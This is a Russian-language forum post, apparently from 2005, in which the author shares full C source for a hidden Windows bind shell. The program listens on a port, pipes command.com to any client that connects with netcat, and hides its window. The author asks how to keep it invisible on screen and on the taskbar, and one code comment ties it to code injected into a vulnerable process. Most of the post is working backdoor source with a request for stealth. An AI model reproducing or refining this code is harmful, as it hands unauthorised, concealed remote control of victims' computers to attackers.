| 
							Coder.ua
							 
								Гость 
							 
						 | 
						
							
								  | 
								
									
									 «  : 17-10-2005 09:55 »   | 
								
								 | 
							  
							 
							В общем я пишу программу которая будет давать мне возмоность подсоединяться к удаленному 
  компьютеру. То есть. Я устанавливаю эту программу на своем компе. Она слушает порт 1234. Далее я подключаюсь 
  к это му порту с удаленной машины командой типа "netcat <IP-адрес_компа> <порт>". И после этого 
  программа запускает командный интерпретатор, и я могу работать с удаленной машиной. Я программу создаю типа Win32 Console App. При запуске программы на экране появляется окно сеанса 
  MS-DOS. Как можно сделать, чтобы программы не было видно. То есть чтобы не было на панели задач и 
  на экране тоже, но возможно присутствие в диспетчере задач.
  Программу пишу под Windows 98. 
  А пробовал создавать Win32 App, и переделывать под него, так он мне столько ошибок выдает Вот исходники программы ConsoleApp! ----------------------------------------------------- bind.cpp ----------------------------------------------------- #include <stdio.h> #include <winsock2.h> #include <windows.h> #include "spawn.pipe.h"         
  #define MY_PORT      1234 #define MAX_BUF_SIZE   1024   
  DWORD WINAPI SexToClient(void *csocket);
  int main() {    DWORD   thID;    HOSTENT   *hst;    SOCKET   lsocket;    SOCKET   csocket;    struct   sockaddr_in laddr, caddr;    char buff[MAX_BUF_SIZE];          int caddr_size = sizeof(caddr);
 
         if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;               lsocket = socket(AF_INET, SOCK_STREAM, 0);            laddr.sin_family       = AF_INET;    laddr.sin_port         = htons(MY_PORT);    laddr.sin_addr.s_addr   = INADDR_ANY;    if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr))) return -1;
         if (listen(lsocket, 0x100)) return -1;         // Ну это я забираю    //printf("wait for connection...\n");
         while((csocket=accept(lsocket, (struct sockaddr *) &caddr, &caddr_size)))    {              hst = gethostbyaddr((char *) &caddr.sin_addr.s_addr, 4, AF_INET);       sprintf(buff, "+%s [%s] new 
  connect!\r\n",(hst)?hst->h_name:"",inet_ntoa(caddr.sin_addr));       send(csocket, buff, strlen(buff), 0);
               CreateThread(0, 0, SexToClient, (void *) &csocket, 0, &thID);    }
     closesocket(lsocket);    WSACleanup();    return 0; }
  DWORD WINAPI SexToClient(void *csocket) {    sshell(((SOCKET*)csocket)[0], MAX_BUF_SIZE);    closesocket(((SOCKET*)csocket)[0]);    return 0; }
 
 
  #############################################################3
 
 
  ------------------------------------------------------ spawn.pipe.h ------------------------------------------------------ #ifndef __SPAWN_PIPE_H__ #define __SPAWN_PIPE_H__
  #define HELO         "hello\n"   // подтверждение связи #define SHELL         "command.com"   // Командный интерпретатор            
     // командный интерпретатор #ifndef MAX_BUF_SIZE #define MAX_BUF_SIZE   1024 #endif
  int sshell(SOCKET csocket, int n) {     char *buf;            // +     //int c;    unsigned int a;    STARTUPINFO si;    SECURITY_ATTRIBUTES sa;  // +    PROCESS_INFORMATION pi;
     HANDLE cstdin, cstdout, rstdout, wstdin;  //pipe handles
     unsigned long fexit;  //process exit code    unsigned long N;   //bytes read    unsigned long total;   //bytes available
 
     buf = malloc(n);
     // возвращаем удаленной машине приветствие,    // подтверждая тем самым, что удаленный код успешно внедрен    // в уязвимый процесс и готов работать    send(csocket, HELO, sizeof(HELO), 0);
 
     sa.lpSecurityDescriptor      = NULL;    sa.nLength               = sizeof(SECURITY_ATTRIBUTES);    sa.bInheritHandle         = TRUE;  //allow inheritable handles
     if (!CreatePipe(&cstdin,  &wstdin,  &sa, 0))  return -1; //create stdin pipe    if (!CreatePipe(&rstdout, &cstdout, &sa, 0))  return -1; //create stdout pipe
     GetStartupInfo(&si);      //set startupinfo for the spawned process
     si.dwFlags      = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;    si.wShowWindow   = SW_HIDE;    si.hStdOutput   = cstdout;    si.hStdError   = cstdout;     //set the new handles for the child process    si.hStdInput   = cstdin;
       //spawn the child process    if (!CreateProcess(0, SHELL, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0, 0, &si, &pi)) return -1;
     while(GetExitCodeProcess(pi.hProcess,&fexit) && (fexit == STILL_ACTIVE))    {
        //check to see if there is any data to read from stdout          if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N)       {           for (a = 0; a < total; a += MAX_BUF_SIZE)           {             ReadFile(rstdout, buf, MAX_BUF_SIZE, &N, 0);             send(csocket, buf, N, 0);          }       }      
        if (!ioctlsocket(csocket, FIONREAD , &N) && N)       {          recv(csocket, buf, 1, 0);          if (*buf == '\x0A') WriteFile(wstdin, "\x0D", 1, &N, 0);          WriteFile(wstdin, buf, 1, &N, 0);       }       Sleep(1);    }
     CloseHandle(cstdin);            //clean stuff up    CloseHandle(wstdin);    CloseHandle(cstdout);    CloseHandle(rstdout);    CloseHandle(pi.hThread);    CloseHandle(pi.hProcess);    return 0; }
  #endif //__SPAWN_PIPE_H__
 
 
  ################################################################## Приведу также пример Win32Api APP
  ----------------------------------------------------- bind.cpp ----------------------------------------------------- #include <windows.h> #include <winsock2.h> #include <stdio.h> #include "spawn.pipe.h"
  #define MY_PORT      666   // Port #define MAX_BUF_SIZE   1024   // Buffer
  DWORD   thID; HOSTENT   *hst; SOCKET   lsocket; SOCKET   csocket; struct   sockaddr_in laddr, caddr; char buff[MAX_BUF_SIZE];      // ЎгддҐа int caddr_size = sizeof(caddr);
  DWORD WINAPI SexToClient(void *csocket);
  LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ;
  int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,                     PSTR szCmdLine, int iCmdShow)      {      static char szAppName[] = "bind" ;      HWND        hwnd ;      MSG         msg ;      WNDCLASSEX  wndclass ;
       wndclass.cbSize        = sizeof (wndclass) ;      wndclass.style         = CS_HREDRAW | CS_VREDRAW ;      wndclass.lpfnWndProc   = WndProc ;      wndclass.cbClsExtra    = 0 ;      wndclass.cbWndExtra    = 0 ;      wndclass.hInstance     = hInstance ;      wndclass.hIcon         = NULL ;      wndclass.hCursor       = LoadCursor (NULL, IDC_ARROW) ;      wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ;      wndclass.lpszMenuName  = NULL ;      wndclass.lpszClassName = szAppName ;      wndclass.hIconSm       = NULL ;
       RegisterClassEx (&wndclass);
       hwnd = CreateWindow (szAppName,         // window class name                "bind",                // window 
  caption                     WS_OVERLAPPEDWINDOW,     // window style                     CW_USEDEFAULT,           // initial x position                     CW_USEDEFAULT,           // initial y position                     CW_USEDEFAULT,           // initial x size                     CW_USEDEFAULT,           // initial y size                     NULL,                    // parent window handle                     NULL,                    // window menu handle                     hInstance,               // program instance handle                   NULL) ;                   // creation parameters
       ShowWindow (hwnd, SW_HIDE) ;      UpdateWindow (hwnd) ;
       while (GetMessage (&msg, NULL, 0, 0))           {           TranslateMessage (&msg) ;           DispatchMessage (&msg) ;           }      return msg.wParam ;      }
  DWORD WINAPI SexToClient(void *csocket) {    sshell(((SOCKET*)csocket)[0], MAX_BUF_SIZE);    closesocket(((SOCKET*)csocket)[0]);    return 0; }
  LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam)      {      /*     HDC         hdc ;      PAINTSTRUCT ps ;      RECT        rect ;     */
       switch (iMsg)           {           case WM_CREATE :            //MessageBox (NULL,"CREATED!!!", "SUCCESS", MB_OK);
     if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;           //     lsocket = socket(AF_INET, SOCK_STREAM, 0);        //     laddr.sin_family       = AF_INET;    laddr.sin_port         = htons(MY_PORT);    laddr.sin_addr.s_addr   = INADDR_ANY;    if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr))) return -1;
     //     if (listen(lsocket, 0x100)) return -1;     //printf("wait for connection...\n");
     //     while((csocket=accept(lsocket, (struct sockaddr *) &caddr, &caddr_size)))    {       //        hst = gethostbyaddr((char *) &caddr.sin_addr.s_addr, 4, AF_INET);       //sprintf(buff, "+%s [%s] new 
  connect!\r\n",(hst)?hst->h_name:"",inet_ntoa(caddr.sin_addr));       //send(csocket, buff, strlen(buff), 0);
        //
        CreateThread(0, 0, SexToClient, (void *) &csocket, 0, &thID);              return 0 ;
 
            case WM_DESTROY :                        closesocket(lsocket);             WSACleanup();                             PostQuitMessage (0) ;                return 0 ;           }
       return DefWindowProc (hwnd, iMsg, wParam, lParam) ;      } 
  spawn.pipe.h - такой же  как и для предыдущего. 
						 |